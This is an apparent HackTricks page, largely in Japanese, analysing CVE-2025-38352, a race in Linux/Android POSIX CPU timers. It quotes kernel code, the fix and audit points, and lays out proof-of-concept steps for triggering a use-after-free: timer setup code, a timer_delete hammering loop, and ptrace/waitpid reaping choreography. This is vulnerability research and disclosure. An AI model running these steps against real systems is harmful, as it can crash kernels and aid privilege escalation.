POSIX CPU Timers TOCTOU race (CVE-2025-38352)
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
このページでは、Linux/Android の POSIX CPU timers における TOCTOU race condition を記載します。これにより timer state が破損してカーネルがクラッシュする可能性があり、特定の状況下では privilege escalation に向けて誘導できる場合があります。
- 影響を受けるコンポーネント: kernel/time/posix-cpu-timers.c
- プリミティブ: タスク終了時における expiry と deletion の競合 (race)
- 設定依存: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
簡単な内部動作の要点(exploit に関連する部分)
- 3つの CPU クロックが cpu_clock_sample() を通じてタイマーの計測を駆動する:
- CPUCLOCK_PROF: utime + stime
- CPUCLOCK_VIRT: utime only
- CPUCLOCK_SCHED: task_sched_runtime()
- タイマー作成時にタイマーを task/pid に結び付け、timerqueue ノードを初期化する:
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}
- Arming は per-base timerqueue に挿入を行い、next-expiry cache を更新することがあります:
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
- 高速パスは、キャッシュされた有効期限情報が発火の可能性を示す場合を除き、高負荷な処理を回避します:
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}
- Expiration は期限切れのタイマーを回収し、発火済みとしてマークしてキューから外す; 実際の配信は遅延される:
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1; // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}
満了処理の2つのモード
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: タイマーの満了処理はターゲットタスクの task_work 経由で遅延される
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: タイマーの満了処理は IRQ コンテキストで直接処理される
Task_work と IRQ の満了処理パス
```c void run_posix_cpu_timers(void) { struct task_struct *tsk = current; __run_posix_cpu_timers(tsk); } #ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK static inline void __run_posix_cpu_timers(struct task_struct *tsk) { if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; tsk->posix_cputimers_work.scheduled = true; task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); } #else static inline void __run_posix_cpu_timers(struct task_struct *tsk) { lockdep_posixtimer_enter(); handle_posix_cpu_timers(tsk); // IRQ-context path lockdep_posixtimer_exit(); } #endif ```IRQ-context パスでは、firing list は sighand の外で処理されます。
IRQ-context の配信ループ
```c static void handle_posix_cpu_timers(struct task_struct *tsk) { struct k_itimer *timer, *next; unsigned long flags, start; LIST_HEAD(firing); if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit do { start = READ_ONCE(jiffies); barrier(); check_thread_timers(tsk, &firing); check_process_timers(tsk, &firing); } while (!posix_cpu_timers_enable_work(tsk, start)); unlock_task_sighand(tsk, &flags); // race window opens here list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { int cpu_firing; spin_lock(&timer->it_lock); list_del_init(&timer->it.cpu.elist); cpu_firing = timer->it.cpu.firing; // read then reset timer->it.cpu.firing = 0; if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); rcu_assign_pointer(timer->it.cpu.handling, NULL); spin_unlock(&timer->it_lock); } } ```根本原因: タスク終了時の IRQ 時のタイマー期限切れと同時削除の間の TOCTOU
前提条件
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK が無効(IRQ パスが使用されている)
- 対象タスクは終了中だが完全に回収(reaped)されていない
- 別スレッドが同じタイマーに対して同時に posix_cpu_timer_del() を呼ぶ
発生順序
- update_process_times() が、終了中のタスクに対して IRQ コンテキストで run_posix_cpu_timers() をトリガーする。
- collect_timerqueue() が ctmr->firing = 1 をセットし、タイマーを一時的な firing リストに移動する。
- handle_posix_cpu_timers() は unlock_task_sighand() で sighand を解放して、ロック外でタイマーを配信する。
- unlock の直後に、終了中のタスクは回収(reaped)され得る;別スレッドが posix_cpu_timer_del() を実行する。
- このウィンドウ内で、posix_cpu_timer_del() は cpu_timer_task_rcu()/lock_task_sighand() を介して state を取得できない場合があり、そのため timer->it.cpu.firing をチェックする通常の in-flight ガードをスキップする。削除は発火していないかのように進み、期限切れ処理中に状態を破壊してクラッシュや未定義動作(UB)を引き起こす。
release_task() と timer_delete() が firing 中のタイマーをどのように解放するか
handle_posix_cpu_timers() がタイマーをタスクリストから外した後でも、ptraced zombie は依然として回収され得る。waitpid() のスタックは release_task() → __exit_signal() を駆動し、別の CPU がまだタイマーオブジェクトへのポインタを保持している間に sighand とシグナルキューを破棄する:
static void __exit_signal(struct task_struct *tsk)
{
struct sighand_struct *sighand = lock_task_sighand(tsk, NULL);
// ... signal cleanup elided ...
tsk->sighand = NULL; // makes future lock_task_sighand() fail
unlock_task_sighand(tsk, NULL);
}
sighand がデタッチされている状態でも、timer_delete() は成功を返します。これは posix_cpu_timer_del() がロック取得に失敗したときに ret = 0 を残すためで、そのため syscall は RCU を介してオブジェクトの解放を続行します:
static int posix_cpu_timer_del(struct k_itimer *timer)
{
struct sighand_struct *sighand = lock_task_sighand(p, &flags);
if (unlikely(!sighand))
goto out; // ret stays 0 -> userland sees success
// ... normal unlink path ...
}
SYSCALL_DEFINE1(timer_delete, timer_t, timer_id)
{
if (timer_delete_hook(timer) == TIMER_RETRY)
timer = timer_wait_running(timer, &flags);
posix_timer_unhash_and_free(timer); // call_rcu(k_itimer_rcu_free)
return 0;
}
Because the slab object is RCU-freed while IRQ context still walks the firing list, reuse of the timer cache becomes a UAF primitive.
ptrace + waitpid を使った再取得の操作
ゾンビが自動で reaped されないように保持する最も簡単な方法は、非リーダーのワーカースレッドを ptrace することです。exit_notify() はまず exit_state = EXIT_ZOMBIE を設定し、autoreap が true の場合にのみ EXIT_DEAD に移行します。ptraced スレッドでは、SIGCHLD が無視されていない限り autoreap = do_notify_parent() は false のままなので、release_task() は親が明示的に waitpid() を呼ぶときにのみ実行されます:
- 被トレース側で pthread_create() を使い、ターゲットがスレッドグループリーダーにならないようにする(wait_task_zombie() は ptraced の非リーダーを扱う)。
- 親は
ptrace(PTRACE_ATTACH, tid)を発行し、後でwaitpid(tid, __WALL)を呼んで do_wait_pid() → wait_task_zombie() → release_task() を駆動する。 - パイプや共有メモリで正確な TID を親に伝え、正しいワーカーが要求に応じて reaped されるようにする。
この演出により、handle_posix_cpu_timers() がまだ tsk->sighand を参照できるウィンドウが保証され、その後の waitpid() がそれを破棄して timer_delete() が同じ k_itimer オブジェクトを取り戻すことが可能になります。
なぜ TASK_WORK モードは設計上安全か
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y の場合、expiry は task_work に延期される; exit_task_work は exit_notify の前に実行されるため、IRQ 時の reaping との重なりは発生しない。
- それでも、タスクが既に終了中であれば task_work_add() は失敗する;
exit_stateによるゲーティングは両モードを一貫させる。
Fix (Android common kernel) and rationale
- Add an early return if current task is exiting, gating all processing:
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
- これにより、終了中のタスクで handle_posix_cpu_timers() に入ることを防ぎ、posix_cpu_timer_del() が it.cpu.firing を見逃して期限切れ処理と競合する可能性のあるウィンドウを排除します。
Impact
- タイマー構造体が同時に期限切れ/削除される際のカーネルメモリ破損は、即時クラッシュ(DoS)を引き起こす可能性があり、任意のカーネル状態操作の機会により privilege escalation への強力なプリミティブとなります。
Triggering the bug (safe, reproducible conditions) Build/config
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n に設定し、exit_state の gating 修正が入っていないカーネルを使用してください。x86/arm64 では通常 HAVE_POSIX_CPU_TIMERS_TASK_WORK によりこのオプションが強制されるため、研究者は手動トグルを露出させるために
kernel/time/Kconfigをパッチすることが多いです:
config POSIX_CPU_TIMERS_TASK_WORK
bool "CVE-2025-38352: POSIX CPU timers task_work toggle" if EXPERT
depends on POSIX_TIMERS && HAVE_POSIX_CPU_TIMERS_TASK_WORK
default y
This mirrors what Android vendors did for analysis builds; upstream x86_64 and arm64 force HAVE_POSIX_CPU_TIMERS_TASK_WORK=y, so the vulnerable IRQ path mainly exists on 32-bit Android kernels where the option is compiled out.
- マルチコアのVM(例: QEMU
-smp cores=4)で実行し、親、子のメインスレッド、およびワーカースレッドを専用CPUに固定できるようにする。
Runtime strategy
- 終了しようとしているスレッドを狙い、CPUタイマーをそれに取り付ける(スレッド単位またはプロセス全体のクロック):
- スレッド単位の場合: timer_create(CLOCK_THREAD_CPUTIME_ID, …)
- プロセス全体の場合: timer_create(CLOCK_PROCESS_CPUTIME_ID, …)
- IRQパスへのエントリを最大化するため、非常に短い初回有効期限と小さい間隔でタイマーを設定する:
static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1; // fire ASAP
its.it_interval.tv_nsec = 1; // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
- 別のスレッドから、ターゲットスレッドが終了する間に同じタイマーを同時に削除する:
void *deleter(void *arg) {
for (;;) (void)timer_delete(t); // hammer delete in a loop
}
- レース増幅要因: 高いスケジューラティックレート、CPU負荷、スレッドの終了/再作成サイクルの繰り返し。クラッシュは通常、unlock_task_sighand() の直後にタスク検索/ロックが失敗したために posix_cpu_timer_del() が発火を見逃す場合に現れます。
実用的な PoC のオーケストレーション
スレッドと IPC の調整
信頼できる再現コードは ptracing の親プロセスと脆弱なワーカースレッドを生成する子プロセスに fork します。2 本のパイプ (c2p, p2c) でワーカーの TID を渡し各フェーズのゲートとし、pthread_barrier_t により親がアタッチするまでワーカーがタイマーをセットするのを防ぎます。各プロセス/スレッドは sched_setaffinity() で固定され(例: 親を CPU1、子のメインを CPU0、ワーカーを CPU2 に)、スケジューラノイズを最小化してレースを再現可能にします。
CLOCK_THREAD_CPUTIME_ID を使ったタイマー較正
ワーカーは自身の CPU 消費のみがデッドラインを進めるように per-thread CPU timer を起動します。調整可能な wait_time(デフォルト ≈250 µs の CPU 時間)と上限付きのビジーループにより、タイマーがまさに発火しようとする間に exit_notify() が EXIT_ZOMBIE を設定することを保証します:
最小限の per-thread CPU timer スケルトン
```c static timer_t timer; static long wait_time = 250000; // nanoseconds of CPU timestatic void timer_fire(sigval_t unused) { puts(“timer fired”); }
static void *worker(void *arg) { struct sigevent sev = {0}; sev.sigev_notify = SIGEV_THREAD; sev.sigev_notify_function = timer_fire; timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &timer);
struct itimerspec ts = { .it_interval = {0, 0}, .it_value = {0, wait_time}, };
pthread_barrier_wait(&barrier); // released by child main after ptrace attach timer_settime(timer, 0, &ts, NULL);
for (volatile int i = 0; i < 1000000; i++); // burn CPU before exiting return NULL; // do_exit() keeps burning CPU }
</details>
#### レースのタイムライン
1. Child が `c2p` 経由で親に worker TID を伝え、その後 barrier でブロックする。
2. Parent が `PTRACE_ATTACH` を行い、`waitpid(__WALL)` で待機した後、`PTRACE_CONT` で worker を実行させて exit させる。
3. ヒューリスティクス(または手動の操作)でタイマーが IRQ 側の `firing` リストに収集されたと判断されたら、親は再度 `waitpid(tid, __WALL)` を実行して release_task() をトリガーし、`tsk->sighand` を落とす。
4. Parent は `p2c` で child にシグナルを送り、child の main が `timer_delete(timer)` を呼び出し、直ちに `wait_for_rcu()` のようなヘルパを走らせてタイマーの RCU コールバックが完了するのを待つ。
5. 最終的に IRQ コンテキストが `handle_posix_cpu_timers()` を再開し、解放済みの `struct k_itimer` をデリファレンスして KASAN や WARN_ON() をトリガーする。
#### 任意のカーネル計測挿入
研究用セットアップでは、`tsk->comm == "SLOWME"` のときに `handle_posix_cpu_timers()` 内にデバッグ専用の `mdelay(500)` を挿入するとウィンドウが広がり、上記の手順でほぼ確実にレースに勝てる。 同じ PoC はスレッド名を `prctl(PR_SET_NAME, ...)` で変更するため、カーネルログやブレークポイントで期待した worker が回収されていることを確認できる。
### 悪用時の計測・手掛かり
- `unlock_task_sighand()`/`posix_cpu_timer_del()` の周辺に tracepoints/WARN_ONCE を追加して、`it.cpu.firing==1` が cpu_timer_task_rcu()/lock_task_sighand() の失敗と同時に発生するケースを検出する。被害プロセスが exit する際の timerqueue の整合性も監視する。
- KASAN は通常 posix_timer_queue_signal() の内部で `slab-use-after-free` を報告するが、非 KASAN カーネルではレースが成功したときに send_sigqueue() から WARN_ON_ONCE() がログされ、簡単な成功指標となる。
監査の注目ポイント(レビュア向け)
- update_process_times() → run_posix_cpu_timers() (IRQ)
- __run_posix_cpu_timers() の選択(TASK_WORK と IRQ パス)
- collect_timerqueue(): ctmr->firing を設定しノードを移動する部分
- handle_posix_cpu_timers(): firing ループの前に sighand を落とす部分
- posix_cpu_timer_del(): in-flight expiry を検出するために it.cpu.firing に依存している;タスクのルックアップ/ロックが exit/reap 中に失敗した場合はこのチェックがスキップされる
悪用研究に関する注意
- 開示された挙動は信頼できるカーネルクラッシュ手段であり、これを権限昇格に変えるには通常、本要約の範囲外である追加の制御可能な重複(オブジェクト寿命や write-what-where の影響など)が必要になる。PoC はシステムを不安定にする可能性があるため、エミュレータや VMs でのみ実行すること。
## References
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
- [CVE-2025-38352 – In-the-wild Android Kernel Vulnerability Analysis and PoC](https://faith2dxy.xyz/2025-12-22/cve_2025_38352_analysis/)
- [poc-CVE-2025-38352 (GitHub)](https://github.com/farazsth98/poc-CVE-2025-38352)
- [Linux stable fix commit f90fff1e152d](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=f90fff1e152dedf52b932240ebbd670d83330eca)
> [!TIP]
> AWSハッキングを学び、実践する:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCPハッキングを学び、実践する:<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azureハッキングを学び、実践する:<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricksをサポートする</summary>
>
> - [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
> - **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローしてください。**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
>
> </details>


